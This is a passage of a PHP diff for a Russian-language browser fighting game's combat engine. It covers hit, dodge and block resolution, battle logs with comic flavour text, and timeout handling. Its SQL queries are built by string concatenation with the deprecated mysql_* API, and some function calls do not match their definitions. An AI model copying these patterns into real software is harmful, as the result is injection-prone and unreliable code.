    , ", $nks1)." и ".implode(", ", $nks2); + } elseif($flag == 2) { + $rr = implode(", ", $nks1)." и ".implode(", ", $nks2).""; + } else { + $rr = implode(", ", $nks1)." и ".implode(", ", $nks2).""; + } + + mysql_query('UPDATE `battle` SET `t1hist` = \''.implode(", ", $nks1hist).'\', `t2hist` = \''.implode(", ", $nks2hist).'\' WHERE `id` = "'.$this->battle_data['id'].'" LIMIT 1'); + mysql_query('UPDATE `battle` SET `exp` = \''.serialize($this->exp).'\' WHERE `id` = "'.$this->battle_data['id'].'" LIMIT 1'); + mysql_query("UPDATE `users` SET `battle` = 0, `fullhptime` = '".time()."' WHERE `battle` = '{$this->battle_data['id']}'"); + unset($this->battle); + return true; + } + } + return false; + } + + function end_gora() { + if($this->GetTimeout()) { + foreach($this->team_mine as $v) { + if(in_array($v, array_keys($this->battle))) { + $vvv = $v; + } + } + $this->AddToLog("".date("H:i")." Бой закончен по таймауту.
    "); + + foreach($this->team_enemy as $v => $k) { + if($k > _BOTSEPARATOR_) { + $bots = mysql_fetch_array(mysql_query('SELECT `hp` FROM `bots` WHERE `id` = "'.$k.'" LIMIT 1')); + $us['hp'] = $bots['hp']; + } else { + $us = mysql_fetch_array(mysql_query('SELECT `hp` FROM `users` WHERE `id` = "'.$k.'" LIMIT 1')); + } + + if($us && (int)$us['hp'] > 0) { + if(!$this->battle_data['blood']) { + $tr = settravma($k, 0, 86400, 1); + if($k < _BOTSEPARATOR_) { + $this->AddToLog(''.date("H:i").' '.nick7($k).' получил повреждение: '.$tr.'
    '); + } + } + } + } + + foreach($this->team_enemy as $v => $k) { + mysql_query('UPDATE `users` SET `hp` = 0, `fullhptime` = '.time().' WHERE `id` = "'.$k.'"'); + } + header("Location: ".$_SERVER['PHP_SELF']."?batl=".$this->user['battle']); + } + } + + function end_draft() { + if(!$this->user['in_tower']) { + if($this->GetTimeout()) { + $this->battle = null; + mysql_query("UPDATE `users` SET `battle` = 0, `nich` = (`nich`+1), `fullhptime` = ".time()." WHERE `battle` = {$this->battle_data['id']}"); + mysql_query("UPDATE `battle` SET `win` = 0 WHERE `id` = '{$this->battle_data['id']}' LIMIT 1"); + $this->AddToLog("".date("H:i")." Бой закончен по таймауту. Ничья.
    "); + $this->exp = 0; + $this->write_log(); + } + } + } + + function FastDeath() { + if($this->battle) { + foreach($this->battle as $k => $v) { + if($k > _BOTSEPARATOR_) { + $bot = mysql_fetch_array(mysql_query("SELECT `hp`, `battle`, `prototype` FROM `bots` WHERE `id` = '{$k}' LIMIT 1")); + $us = mysql_fetch_array(mysql_query("SELECT `maxhp`, `sex` FROM `users` WHERE `id` = '{$bot['prototype']}' LIMIT 1")); + $us['hp'] = $bot['hp']; + $us['battle'] = $bot['battle']; + } else { + $us = mysql_fetch_array(mysql_query("SELECT `hp`, `maxhp`, `sex`, `battle` FROM `users` WHERE `id` = '{$k}' LIMIT 1")); + } + + if($us['hp'] <= 0) { + if($us['sex'] == 1) { + $this->AddToLog(''.date("H:i").' '.nick5($k, 'b').' умер!
    '); + } else { + $this->AddToLog(''.date("H:i").' '.nick5($k, 'b').' погибла!
    '); + } + + if($k < _BOTSEPARATOR_) { + mysql_query("UPDATE `users` SET `hp` = 0, `fullhptime` = '".time()."' WHERE `id` = '{$k}' LIMIT 1"); + } else { + mysql_query("UPDATE `bots` SET `hp` = 0 WHERE `id` = '{$k}' LIMIT 1"); + } + + foreach($this->battle as $kak => $vav) { + unset($this->battle[$kak][$k]); + } + unset($this->battle[$k]); + } + + if($k == null ) { + foreach($this->battle as $kak => $vav) { + unset($this->battle[$kak][$k]); + } + } + + if($us['battle'] == 0) { + foreach($this->battle as $kak => $vav) { + unset($this->battle[$kak][$k]); + } + unset($this->battle[$k]); + } + unset($us); + } + $this->UpdateBattle(); + } + } + + function gen_color($u, $enemy) { + $this->t1 = explode(";", $this->battle_data['t1']); + $this->t2 = explode(";", $this->battle_data['t2']); + $c = array(); + if(in_array($u, $this->t1)) { + $c['me'] = "B1"; + $c['he'] = "B2"; + } else { + $c['me'] = "B2"; + $c['he'] = "B1"; + } + return $c; + } + + function GetUserTeam() { + $this->t1 = explode(";", $this->battle_data['t1']); + $this->t2 = explode(";", $this->battle_data['t2']); + + if(in_array($this->user['id'], $this->t1)) { + $this->my_class = "B1"; + $this->en_class = "B2"; + $this->team_mine = $this->t1; + $this->team_enemy = $this->t2; + } else { + $this->my_class = "B2"; + $this->en_class = "B1"; + $this->team_mine = $this->t2; + $this->team_enemy = $this->t1; + } + } + + function init_botRazmen($uid, $enemy, $attack, $defend) { + $RazmenValues = array(1, 2, 3, 4); + $hp_1 = mysql_fetch_array(mysql_query('SELECT `id`, `hp`, `prototype` FROM `bots` WHERE `id` = "'.$uid.'" LIMIT 1')); + $maxhp_1 = mysql_fetch_array(mysql_query('SELECT `maxhp` FROM `users` WHERE `id` = "'.$hp_1['prototype'].'" LIMIT 1')); + $hp_2 = mysql_fetch_array(mysql_query('SELECT `id`, `hp`, `prototype` FROM `bots` WHERE `id` = "'.$enemy.'" LIMIT 1')); + $maxhp_2 = mysql_fetch_array(mysql_query('SELECT `maxhp` FROM `users` WHERE `id` = "'.$hp_2['prototype'].'" LIMIT 1')); + $color = $this->gen_color($uid, $enemy); + if(in_array($attack, $RazmenValues) && in_array($defend, $RazmenValues) && $enemy && $hp_1['hp'] > 0) { + if($this->battle[$enemy][$uid][0] > 0) { + $this->AddToLogBot($this->GetComment()); + $mf = $this->solve_mfs($uid, $enemy, $attack); + + $uvorotme = $this->chanse($mf['me']['chanse']); + $krithe = $this->chanse($mf['he']['chanse_krit']); + if($uvorotme && !$krithe) { + $uve = 1; + } elseif(!$uvorotme && $krithe) { + $uve = 2; + } elseif($uvorotme && $krithe) { + $uve = rand(1, 2); + } else { + $uve = 0; + } + + if($uve == 1) { + $this->AddToLogBot($this->razmen_log("uvorot", $this->battle[$enemy][$uid][0], $this->GetWeaponType($this->enemyhar['weap']), 0, $enemy, $color['he'], $uid, $color['me'], 0, 0)); + } elseif($uve == 2) { + if($this->GetBlock("me", $this->battle[$enemy][$uid][0], $defend, $enemy)) { + $hs = 1; $m = 'a'; + } else { + $hs = 2; $m = ''; + } + $yron = $mf['he']['udar']*$hs; + $us = mysql_fetch_array(mysql_query('SELECT `id`, `hp` FROM `bots` WHERE `id` = "'.$uid.'" LIMIT 1')); + if($us['hp'] < $yron) { + $yron = $us['hp']; + } + $this->damage[$enemy] += $yron; + $jv = ($hp_1['hp']-$yron); + $this->exp[$enemy] += SolveExp($enemy, $uid, $yron); + $this->AddToLogBot($this->razmen_log("krit".$m, $this->battle[$enemy][$uid][0], $this->GetWeaponType($this->enemyhar['weap']), $yron, $enemy, $color['he'], $uid, $color['me'], ($hp_1['hp']-$yron), $maxhp_2['maxhp'])); + mysql_query('UPDATE `bots` SET `hp` = (`hp` - '.$yron.') WHERE `id` = "'.$uid.'" LIMIT 1'); ### Maybe not limited + } elseif(!$this->GetBlock("me", $this->battle[$enemy][$uid][0], $defend, $enemy)) { + $yron = $mf['he']['udar']; + $us = mysql_fetch_array(mysql_query('SELECT `id`, `hp` FROM `bots` WHERE `id` = "'.$uid.'" LIMIT 1')); + if($us['hp'] < $yron) { + $yron = $us['hp']; + } + $jv = ($hp_1['hp']-$yron); + $this->AddToLogBot($this->razmen_log("udar", $this->battle[$enemy][$uid][0], $this->GetWeaponType($this->enemyhar['weap']), $yron, $enemy, $color['he'], $uid, $color['me'], ($hp_1['hp']-$yron), $maxhp_2['maxhp'])); + mysql_query('UPDATE `bots` SET `hp` = (`hp` - '.$yron.') WHERE `id` = "'.$uid.'" LIMIT 1'); + } else { + $this->AddToLogBot($this->razmen_log("block", $this->battle[$enemy][$uid][0], $this->GetWeaponType($this->enemyhar['weap']), 0, $enemy, $color['he'], $uid, $color['me'], 0, 0)); + } + + $uvorothe = $this->chanse($mf['he']['chanse']); + $kritme = $this->chanse($mf['me']['chanse_krit']); + if($uvorothe && !$kritme) { + $uve = 1; + } elseif(!$uvorothe && $kritme) { + $uve = 2; + } elseif($uvorothe && $kritme) { + $uve = rand(1, 2); + } else { + $uve = 0; + } + + if($uve == 1) { + $this->AddToLogBot($this->razmen_log("uvorot", $attack, $this->GetWeaponType($this->user['weap']), 0, $uid, $color['me'], $enemy, $color['he'], 0, 0)); + } elseif($uve == 2) { + if($this->GetBlock("he", $attack, $this->battle[$enemy][$uid][1], $enemy)) { + $hs = 1; $m = 'a'; + } else { + $hs = 2; $m = ''; + } + $yron = $mf['me']['udar']*$hs; + $us = mysql_fetch_array(mysql_query('SELECT `id`, `hp` FROM `bots` WHERE `id` = "'.$enemy.'" LIMIT 1')); + if($us['hp'] < $yron) { + $yron = $us['hp']; + } + $this->AddToLogBot($this->razmen_log("krit".$m, $attack, $this->GetWeaponType($this->user['weap']), $yron, $uid, $color['me'], $enemy, $color['he'], ($this->enemyhar['hp']-$yron), $this->enemyhar['maxhp'])); + + if($enemy > _BOTSEPARATOR_) { + mysql_query('UPDATE `bots` SET `hp` = (`hp` - '.$yron.') WHERE `id` = "'.$enemy.'" LIMIT 1'); + } else { + mysql_query('UPDATE `bots` SET `hp` = (`hp` - '.$yron.') WHERE `id` = "'.$enemy.'" LIMIT 1'); + } + + } elseif(!$this->GetBlock("he", $attack, $this->battle[$enemy][$uid][1], $enemy)) { + $yron = $mf['me']['udar']; + $us = mysql_fetch_array(mysql_query('SELECT `id`, `hp` FROM `bots` WHERE `id` = "'.$enemy.'" LIMIT 1')); + if($us['hp'] < $yron) { + $yron = $us['hp']; + } + $this->AddToLogBot($this->razmen_log("udar", $attack, $this->GetWeaponType($this->user['weap']), $yron, $uid, $color['me'], $enemy, $color['he'], ($this->enemyhar['hp']-$yron), $this->enemyhar['maxhp'])); + if($enemy > _BOTSEPARATOR_) { + mysql_query('UPDATE `bots` SET `hp` = (`hp` - '.$yron.') WHERE `id` = "'.$enemy.'" LIMIT 1'); + } else { + mysql_query('UPDATE `bots` SET `hp` = (`hp` - '.$yron.') WHERE `id` = "'.$enemy.'" LIMIT 1'); + } + } else { + $this->AddToLogBot($this->razmen_log("block", $attack, $this->GetWeaponType($this->user['weap']), 0, $uid, $color['me'], $enemy, $color['he'], 0, 0)); + } + + $this->battle[$enemy][$uid] = array(0, 0, time()); + mysql_query("UPDATE `battle` SET `to1` = '".time()."', `to2` = '".time()."' WHERE `id` = '".$this->battle_data['id']."' LIMIT 1"); + $this->UpdateBattle(); + } else { + $this->battle[$uid][$enemy] = array($attack, $defend, time()); + if($this->my_class == "B1" && $jv > 0) { + mysql_query("UPDATE `battle` SET `to1` = '".time()."', `to2` = '".(time()-1)."' WHERE `id` = '".$this->battle_data['id']."' LIMIT 1"); + } elseif($jv > 0) { + mysql_query("UPDATE `battle` SET `to2` = '".time()."', `to1` = '".(time()-1)."' WHERE `id` = '".$this->battle_data['id']."' LIMIT 1"); + } else { + mysql_query("UPDATE `battle` SET `to2` = '".time()."', `to1` = '".(time())."' WHERE `id` = '".$this->battle_data['id']."' LIMIT 1"); + } + $this->FastDeath(); + $this->UpdateBattle(); + #header('Location: fbattle.php'); + die(); + } + } else { + return false; + } + } + + function InitRazmen($enemy, $attack, $defend) { + $RazmenValues = array(1, 2, 3, 4); $DefValues = array(1, 2, 3, 4); + if(in_array($attack, $RazmenValues) && in_array($defend, $DefValues) && $enemy && $this->user['hp'] > 0) { + + if($this->battle[$enemy][$this->user['id']][0] > 0) { + + $this->AddToLog($this->GetComment()); + $mfs = $this->solve_mfs($this->user['id'], $enemy, $attack); + + $color = $this->gen_color($this->user['id'], $enemy); + if($mfs['me']['chanse'] > 0) { + $uvorotme = $this->chanse($mfs['me']['chanse']); + } else { + $uvorotme = false; + } + + if($mfs['me']['chanse_krit'] > 0) { + $krithe = $this->chanse($mfs['he']['chanse_krit']); + } else { + $krithe = false; + } + + if($uvorotme && !$krithe) { + $uve = 1; + } elseif(!$uvorotme && $krithe) { + $uve = 2; + } elseif($uvorotme && $krithe) { + $uve = rand(1, 2); + } else { + $uve = 0; + } + + if($uve == 1) { + $this->AddToLog($this->razmen_log("uvorot", $this->battle[$enemy][$this->user['id']][0], $this->GetWeaponType($this->enemyhar['weap']), 0, $enemy, $color['me'], $this->user['id'], $color['he'], 0, 0)); + } elseif($uve == 2) { + $this->battle[$enemy][$this->user['id']] = array($attack, $defend, time()); + if($this->get_blocks($this->battle[$this->user['id']][$enemy][0], $this->battle[$enemy][$this->user['id']][1])) { + $hs = 1; $m = 'a'; + } else { + $hs = 2; $m = ''; + } + $yron = $mfs['he']['udar']*$hs; + + $hp_u = mysql_fetch_array(mysql_query('SELECT `id`, `hp` FROM `users` WHERE `id` = "'.$this->user['id'].'" LIMIT 1')); + if($hp_u['hp'] < ($mfs['he']['udar']*$hs)) { + $yron = $hp_u['hp']; + } + + $this->damage[$enemy] += $yron; + $jv = ($this->user['hp']-$yron); + $this->exp[$enemy] += SolveExp($enemy, $this->user['id'], $yron); + $this->AddToLog($this->razmen_log("krit".$m, $this->battle[$this->user['id']][$enemy][0], $this->GetWeaponType($this->enemyhar['weap']), $yron, $enemy, $color['me'], $this->user['id'], $color['he'], ($this->user['hp']-$yron), $this->user['maxhp'])); + + mysql_query('UPDATE `users` SET `hp` = (`hp` - '.$yron.') WHERE `id` = "'.$this->user['id'].'" LIMIT 1'); + + if(!($this->user['align'] == '2' || $this->user['align'] == '8.31')) { + $tmphp = mysql_fetch_array(mysql_query("SELECT `hp` FROM `users` WHERE `id` = {$this->user['id']} LIMIT 1")); + $tmphp = $tmphp['hp']; + if($tmphp <= 0) { + if(mt_rand(0, 100) <= 40 && $this->user['level'] > 6) { + $tr = settravma($this->user['id'], 0, 86400, 0); + if($this->user['id'] < _BOTSEPARATOR_) { + $this->AddToLog(''.date("H:i").' '.nick7($this->user['id']).' получил повреждение: '.$tr.'
    '); + } + } + } + } + } elseif(!$this->get_blocks($this->user['id'], $this->battle[$enemy][$this->user['id']][0], $enemy, $this->battle[$this->user['id']][$enemy][1])) { + $yron = $mfs['he']['udar']; + $hp_u = mysql_fetch_array(mysql_query('SELECT `id`, `hp` FROM `users` WHERE `id` = "'.$this->user['id'].'" LIMIT 1')); + if($hp_u['hp'] < $mfs['he']['udar']) { + $yron = $hp_u['hp']; + } + + $this->damage[$enemy] += $yron; + $jv = ($this->user['hp']-$yron); + $this->exp[$enemy] += SolveExp($enemy, $this->user['id'], $yron); + $this->AddToLog($this->razmen_log("udar", $this->battle[$enemy][$this->user['id']][0], $this->GetWeaponType($this->enemyhar['weap']), $yron, $enemy, $color['me'], $this->user['id'], $color['he'], ($this->user['hp']-$yron), $this->user['maxhp'])); + mysql_query('UPDATE `users` SET `hp` = (`hp` - '.$yron.') WHERE `id` = "'.$this->user['id'].'" LIMIT 1'); + } else { + $this->AddToLog($this->razmen_log("block", $this->battle[$enemy][$this->user['id']][1], $this->GetWeaponType($this->enemyhar['weap']), 0, $enemy, $color['me'], $this->user['id'], $color['he'], 0, 0)); + } + + if($mfs['he']['chanse'] > 0) { + $uvorothe = $this->chanse($mfs['he']['chanse']); + } else { + $uvorothe = false; + } + + if($mfs['me']['chanse_krit'] > 0) { + $kritme = $this->chanse($mfs['me']['chanse_krit']); + } else { + $kritme = false; + } + + if($uvorothe && !$kritme) { + $uve_1 = 1; + } elseif(!$uvorothe && $kritme) { + $uve_1 = 2; + } elseif($uvorothe && $kritme) { + $uve_1 = rand(1, 2); + } else { + $uve_1 = 0; + } + + if($uve_1 == 1) { + $this->AddToLog($this->razmen_log("uvorot", $attack, $this->GetWeaponType($this->user['weap']), 0, $this->user['id'], $color['me'], $enemy, $color['he'], 0, 0)); + } elseif($uve_1 == 2) { + if($this->get_blocks($enemy, $this->battle[$this->user['id']][$enemy][0], $this->user['id'], $this->battle[$enemy][$this->user['id']][1])) { + $hs = 1; $m = 'a'; + } else { + $hs = 2; $m = ''; + } + $yron = $mfs['me']['udar']*$hs; + if($enemy > _BOTSEPARATOR_) { + $hp_u = mysql_fetch_array(mysql_query('SELECT `id`, `hp` FROM `bots` WHERE `id` = "'.$enemy.'" LIMIT 1')); + } else { + $hp_u = mysql_fetch_array(mysql_query('SELECT `id`, `hp` FROM `users` WHERE `id` = "'.$enemy.'" LIMIT 1')); + } + if($hp_u['hp'] < $yron) { + $yron = $hp_u['hp']; + } + + $this->damage[$this->user['id']] += $yron; + $this->exp[$this->user['id']] += SolveExp($this->user['id'], $enemy, $yron); + $this->AddToLog($this->razmen_log("krit".$m, $attack, $this->GetWeaponType($this->user['weap']), $yron, $this->user['id'], $color['me'], $enemy, $color['he'], ($this->enemyhar['hp']-$yron), $this->enemyhar['maxhp'])); + + if($enemy > _BOTSEPARATOR_) { + mysql_query('UPDATE `bots` SET `hp` = (`hp` - '.$yron.') WHERE `id` = "'.$enemy.'" LIMIT 1'); + } else { + mysql_query('UPDATE `users` SET `hp` = (`hp` - '.$yron.') WHERE `id` = "'.$enemy.'" LIMIT 1'); + + $tmpen = mysql_fetch_array(mysql_query("SELECT `id`, `align`, `hp`, `level` FROM `users` WHERE `id`= '{$enemy}' LIMIT 1")); + if(!($tmpen['align'] == '2' || $tmpen['align'] == '8.31')) { + $tmphp = $tmpen['hp']; + if($tmphp <= 0) { + if(mt_rand(0, 100) <= 40 && $tmpen['level'] > 6) { + $tr = settravma($tmpen['id'], $tmptravma, 86400, 0); + if($tmpen['id'] < _BOTSEPARATOR_) { + $this->AddToLog(''.date("H:i").' '.nick7($tmpen['id']).' получил повреждение: '.$tr.'
    '); + } + } + } + } + } + } elseif($this->get_blocks("he", $this->battle[$this->user['id']][$enemy][0], $this->user['id'], $this->battle[$enemy][$this->user['id']][1])) { + $yron = $mfs['me']['udar']; + if($enemy > _BOTSEPARATOR_) { + $hp_u = mysql_fetch_array(mysql_query('SELECT `id`, `hp` FROM `bots` WHERE `id` = "'.$enemy.'" LIMIT 1')); + } else { + $hp_u = mysql_fetch_array(mysql_query('SELECT `id`, `hp` FROM `users` WHERE `id` = "'.$enemy.'" LIMIT 1')); + } + if($hp_u['hp'] < $yron) { + $yron = $hp_u['hp']; + } + $this->damage[$this->user['id']] += $yron; + $this->exp[$this->user['id']] += SolveExp($this->user['id'], $enemy, $yron); + $this->AddToLog($this->razmen_log("udar", $attack, $this->GetWeaponType($this->user['weap']), $yron, $this->user['id'], $color['me'], $enemy, $color['he'], ($this->enemyhar['hp']-$yron), $this->enemyhar['maxhp'])); + + if($enemy > _BOTSEPARATOR_) { + mysql_query('UPDATE `bots` SET `hp` = (`hp` - '.$yron.') WHERE `id` = "'.$enemy.'" LIMIT 1'); + } else { + mysql_query('UPDATE `users` SET `hp` = (`hp` - '.$yron.') WHERE `id` = "'.$enemy.'" LIMIT 1'); + } + } else { + $this->AddToLog($this->razmen_log("block", $defend, $this->GetWeaponType($this->user['weap']), 0, $this->user['id'], $color['me'], $enemy, $color['he'], 0, 0)); + } + + $this->battle[$enemy][$this->user['id']] = array(0, 0, time()); + mysql_query("UPDATE `battle` SET `to1` = '".time()."', `to2` = '".time()."' WHERE `id` = '".$this->user['battle']."' LIMIT 1"); + $this->UpdateBattle(); + + } else { + $this->battle[$this->user['id']][$enemy] = array($attack, $defend, time()); + if($this->my_class == "B1" && $jv > 0) { + mysql_query("UPDATE `battle` SET `to1` = '".time()."', `to2` = '".(time()-1)."' WHERE `id` = '".$this->battle_data['id']."' LIMIT 1"); + } elseif($jv > 0) { + mysql_query("UPDATE `battle` SET `to2` = '".time()."', `to1` = '".(time()-1)."' WHERE `id` = '".$this->battle_data['id']."' LIMIT 1"); + } else { + mysql_query("UPDATE `battle` SET `to2` = '".time()."', `to1` = '".(time())."' WHERE `id` = '".$this->battle_data['id']."' LIMIT 1"); + } + $this->UpdateBattle(); + header("Location: ".$_SERVER['PHP_SELF'].""); + die(); + } + } else { + return false; + } + } + + function addAction($time, $vars, $vls, $uid = NULL) { + if($uid == NULL) { + $uid = $this->user['id']; + } + $ins = mysql_query('INSERT INTO `actions` (`uid`, `time`, `city`, `room`, `vars`, `ip`, `vals`) VALUES ("'.$uid.'", "'.$time.'", "capitalcity", "0", "'.mysql_real_escape_string($vars).'", "'.mysql_real_escape_string($_SERVER['HTTP_X_REAL_IP']).'", "'.mysql_real_escape_string($vls).'")'); + if($ins) { + return true; + } else { + return false; + } + } + + function GetWeaponType($idwep) { + if($idwep == 0 || $idwep == null || $idwep == '') { + return "kulak"; + } + + $wep = mysql_fetch_array(mysql_query("SELECT `otdel`, `minu` FROM `inventory` WHERE `id` = '{$idwep}' LIMIT 1")); + if($wep[0] == '1') { + return "noj"; + } elseif($wep[0] == '12') { + return "dubina"; + } elseif($wep[0] == '11') { + return "topor"; + } elseif($wep[0] == '13') { + return "mech"; + } elseif($wep[1] > 0) { + return "buket"; + } else { + return "kulak"; + } + } + + function razmen_log($type, $kuda, $chem, $uron, $kto, $c1, $pokomy, $c2, $hp, $maxhp) { + $color = $this->gen_color($kto, $pokomy); + if($this->enemyhar['sex'] && $kto == $this->enemyhar['id']) { $sex1 = false; } + if(!$this->enemyhar['sex'] && $kto == $this->enemyhar['id']) { $sex1 = true; } + if($this->enemyhar['sex'] && $pokomy == $this->enemyhar['id']) { $sex2 = false; } + if(!$this->enemyhar['sex'] && $pokomy == $this->enemyhar['id']) { $sex2 = true; } + + if($this->user['sex'] && $kto == $this->user['id']) { $sex1 = false; } + if(!$this->user['sex'] && $kto == $this->user['id']) { $sex1 = true; } + if($this->user['sex'] && $pokomy == $this->user['id']) { $sex2 = false; } + if(!$this->user['sex'] && $pokomy == $this->user['id']) { $sex2 = true; } + + if($hp < 0) { $hp = 0; } + + $hiden_warior = mysql_fetch_array(mysql_query('SELECT `id`, `invis` FROM `users` WHERE `id` = "'.$pokomy.'" LIMIT 1')); + if($hiden_warior['invis'] == 1) { + $hp = '??'; + $maxhp = '??'; + $uron = '??'; + } + + if(!$sex1) { + $textfail = array('думал о <вырезано цензурой>, вследствие чего', 'пытался нанести удар, но ', 'подскользнулся, и', 'старался провести удар, но', 'закашлялся, и', 'пытался провести удар, но', 'потерял самоконтроль, вследствие чего', 'думал не о том, и'); + } else { + $textfail = array('думала о <вырезано цензурой>, вследствие чего', 'пыталась нанести удар, но ', 'подскользнулась, и', 'старалась провести удар, но', 'закашлялась, и', 'пыталась провести удар, но ', 'потеряла самоконтроль, вследствие чего', 'думала не о том, и'); + } + + $textchem = array ( + "kulak" => array("грудью","ребром руки","лбом","кулаком","ногой","левой ногой","правой ногой","коленом"), + "noj" => array("ножом","тыльной стороной лезвия ножа","рукоятью ножа","лезвием ножа"), + "dubina" => array("сучковатой палкой","поленом","тяжелой дубиной","дубиной","рукоятью молота"), + "topor" => array("секирой","топором","лезвием секиры","алебардой","тяжелым держаком","длинной секирой"), + "mech" => array("ножнами","гардой","мечом","лезвием меча","рукоятью меча","тупым лезвием","острой стороной меча","огромным мечом",), + "buket" => array("охапкой цветов","веником","букетом","колючками","снопом","стеблем","листьями","бутоном",) + ); + + $textchem = $textchem[$chem]; + + $udars = array( + 1 => array('в нос','в глаз','в челюсть','по переносице','в кадык','по затылку','в правый глаз','в левый глаз','в скулу'), + 2 => array('в грудь','в корпус','в солнечное сплетение','в сердце','в бок','в область лопаток','по желудку','по левой руке','по правой руке'), + 3 => array('по <вырезано цензурой>','в пах','в промежность','по левой ягодице','по правой ягодице'), + 4 => array('по ногам','в область правой пятки','в область левой пятки','по коленной чашечке','по икрам') + ); + + $kuda = $udars[$kuda][mt_rand(0, count($udars[$kuda])-1)]; + + if(!$sex1) { + $hark = array('бесчувственный','расстроенный','храбрый','обезумевший','неустрашимый','злобный','жестокий','наглый','разъяренный','продвинутый','хитрый','мужественный','','','','','',''); + } else { + $hark = array('бесчувственная','расстроенная','храбрая','обезумевшая','неустрашимая','злобная','жестокая','наглая', 'разъяренная','продвинутая','хитрая','прекрасная','','','','','',''); + } + + if(!$sex2) { + $hark2 = array('бесчувственный','расстроенный','храбрый','обезумевший','неустрашимый','злобный','жестокий','наглый','разъяренный','продвинутый','хитрый','мужественный','','','','','',''); + } else { + $hark2 = array('бесчувственная','расстроенная','храбрая','обезумевшая','неустрашимая','злобная','жестокая','наглая','разъяренная','продвинутая','хитрая','прекрасная','','','','','',''); + } + + if(!$sex2) { + $textud = array('забылся, и тут', 'замешкался, и за это', 'растерялся, как вдруг', 'ковырялся в зубах, и тут', 'поперхнулся, но вдруг', 'пытался что-то сказать но вдруг, неожиданно', 'растерялся, как вдруг', 'засмотрелся на <вырезано цензурой>, а в это время', 'высморкался, и в это время', 'думал не о том, и', 'пришел в себя, но в это время', 'обернулся, как внезапно'); + } else { + $textud = array('забылась, и тут', 'замешкалась, и за это ', 'растерялась, как вдруг ', 'ковырялась в зубах, и тут ', 'поперхнулась, но вдруг ', 'пыталась что-то сказать но вдруг, неожиданно', 'растерялась, как вдруг', 'засмотрелась на <вырезано цензурой>, а в это время', 'высморкалась, и в это время', 'думала не о том, и', 'пришла в себя, но в это время ', 'обернулась, как внезапно'); + } + + switch($type) { + case "uvorot": + if($sex2) { + $textuvorot = array(" уклонилась от удара "," увернулась от удара "," отскочила от удара "); + } else { + $textuvorot = array(" уклонился от удара "," увернулся от удара "," отскочил от удара "); + } + return ''.date("H:i").' '.nick5($kto, $color['me']).' '.$textfail[mt_rand(0, count($textfail)-1)].' '.$hark2[mt_rand(0,count($hark2)-1)].' '.nick5($pokomy, $color['he']).' '.$textuvorot[mt_rand(0,count($textuvorot)-1)].' '.$textchem[mt_rand(0,count($textchem)-1)].' '.$kuda.'.
    '; + break; + + case "block": + if($sex2) { + $textblock = array(" заблокировала удар "," остановила удар "," отбила удар "); + } else { + $textblock = array(" заблокировал удар "," остановил удар "," отбил удар "); + } + return ''.date("H:i").' '.nick5($kto, $color['me']).' '.$textfail[mt_rand(0, count($textfail)-1)].' '.$hark2[mt_rand(0, count($hark2)-1)].' '.nick5($pokomy, $color['he']).' '.$textblock[mt_rand(0,count($textblock)-1)].' '.$textchem[mt_rand(0,count($textchem)-1)].' '.$kuda.'.
    '; + break; + + case "krit": + if($sex1) { + $textkrit = array(", напугав всех, неслышно подойдя сзади ударила по голове булыжником оппонента.",", сказав \"БУ!\", ласково заломила руку за спину соперника.",", расслабившись, расцарапала нос соперника.",", показав сразу два пальца, наступила на ногу врага.",", напугав всех, укусила в нос противника.",", проклиная этот сайт, провела ужасный бросок через пупок оппонента."); + } else { + $textkrit = array(", напугав всех, неслышно подойдя сзади ударил по голове булыжником оппонента.",", сказав \"БУ!\", ласково заломил руку за спину соперника.",", расслабившись, расцарапал нос соперника.",", показав сразу два пальца, наступил на ногу врага.",", напугав всех, укусил в нос противника.",", проклиная этот сайт, провел ужасный бросок через пупок оппонента."); + } + return ''.date("H:i").' '.nick5($pokomy, $color['he']).' '.$textud[mt_rand(0, count($textud)-1)].' '.$hark[mt_rand(0,count($hark)-1)].' '.nick5($kto, $color['me']).' '.$textkrit[mt_rand(0,count($textkrit)-1)].' -'.$uron.' ['.$hp.'/'.$maxhp.']'.'
    '; + break; + + case "krita": + if($sex1) { + $textkrit = array(", напугав всех, неслышно подойдя сзади ударила, пробив блок, по голове булыжником оппонента.",", пробив блок, ласково заломила руку за спину соперника.",", пробив блок, расцарапала нос соперника.",", пробив блок, наступила на ногу врага.",", пробив блок, укусила в нос противника.",", пробив блок, провела ужасный бросок через пупок оппонента."); + } else { + $textkrit = array(", напугав всех, неслышно подойдя сзади ударил, пробив блок, по голове булыжником оппонента.",", пробив блок, ласково заломил руку за спину соперника.",", пробив блок, расцарапал нос соперника.",", пробив блок, наступил на ногу врага.",", пробив блок, укусил в нос противника.",", пробив блок, провел ужасный бросок через пупок оппонента."); + } + return ''.date("H:i").' '.nick5($pokomy, $color['he']).' '.$textud[mt_rand(0, count($textud)-1)].' '.$hark[mt_rand(0, count($hark)-1)].' '.nick5($kto, $color['me']).' '.$textkrit[mt_rand(0,count($textkrit)-1)].' -'.$uron.' ['.$hp.'/'.$maxhp.']'.'
    '; + break; + + case "udar": + if($sex1) { + $textudar = array(", разбежавшись, рубанула"," отчаянно проткнула "," нехотя уколола "," не подумав, рубанула ",", улыбаясь, саданула укол "," приложила удар "," ударила "," сдуру вмазала "); + } else { + $textudar = array(", разбежавшись, рубанул"," отчаянно проткнул "," нехотя уколол "," не подумав, рубанул ",", улыбаясь, саданул укол "," приложил удар "," ударил "," сдуру вмазал "); + } + return ''.date("H:i").' '.nick5($pokomy, $color['he']).' '.$textud[mt_rand(0, count($textud)-1)].' '.$hark[mt_rand(0, count($hark)-1)].' '.nick5($kto, $color['me']).''.$textudar[mt_rand(0,count($textudar)-1)].' '.$textchem[mt_rand(0,count($textchem)-1)].' '.$kuda.' -'.$uron.' ['.$hp.'/'.$maxhp.']'.'
    '; + break; + } + } + + function get_blocks($where_atack, $where_defend) { + $blocks = array('1' => array(1, 2), '2' => array(2, 3), '3' => array(3, 4), '4' => array(4, 1)); + if(!in_array($where_atack, $blocks[$where_defend])) { + return true; + } else { + return false; + } + } + + function GetBlock($komy, $att, $def, $enemy) { + $blocks = array(1 => array(1, 2), 2 => array(2, 3), 3 => array(3, 4), 4 => array(4, 1)); + + switch($komy) { + case "me" : + if(in_array($this->battle[$enemy][$this->user['id']][0], $blocks[$def])) { + return true; + } else { + return false; + } + break; + + case "he" : + if(in_array($this->battle[$enemy][$this->user['id']][1], $blocks[$att])) { + return true; + } else { + return false; + } + break; + } + } + + function GetChance($percent) { + $mm = 1; + if(rand($mm, 100*$mm) <= $percent*$mm) { + return true; + } else { + return false; + } + } + + function SelectEnemy() { + if(($this->user['hp'] > 0) && $this->battle) { + foreach($this->battle[$this->user['id']] as $k => $v) { + if($this->battle[$this->user['id']][$k][0] == 0) { + $enemies[] = $k; 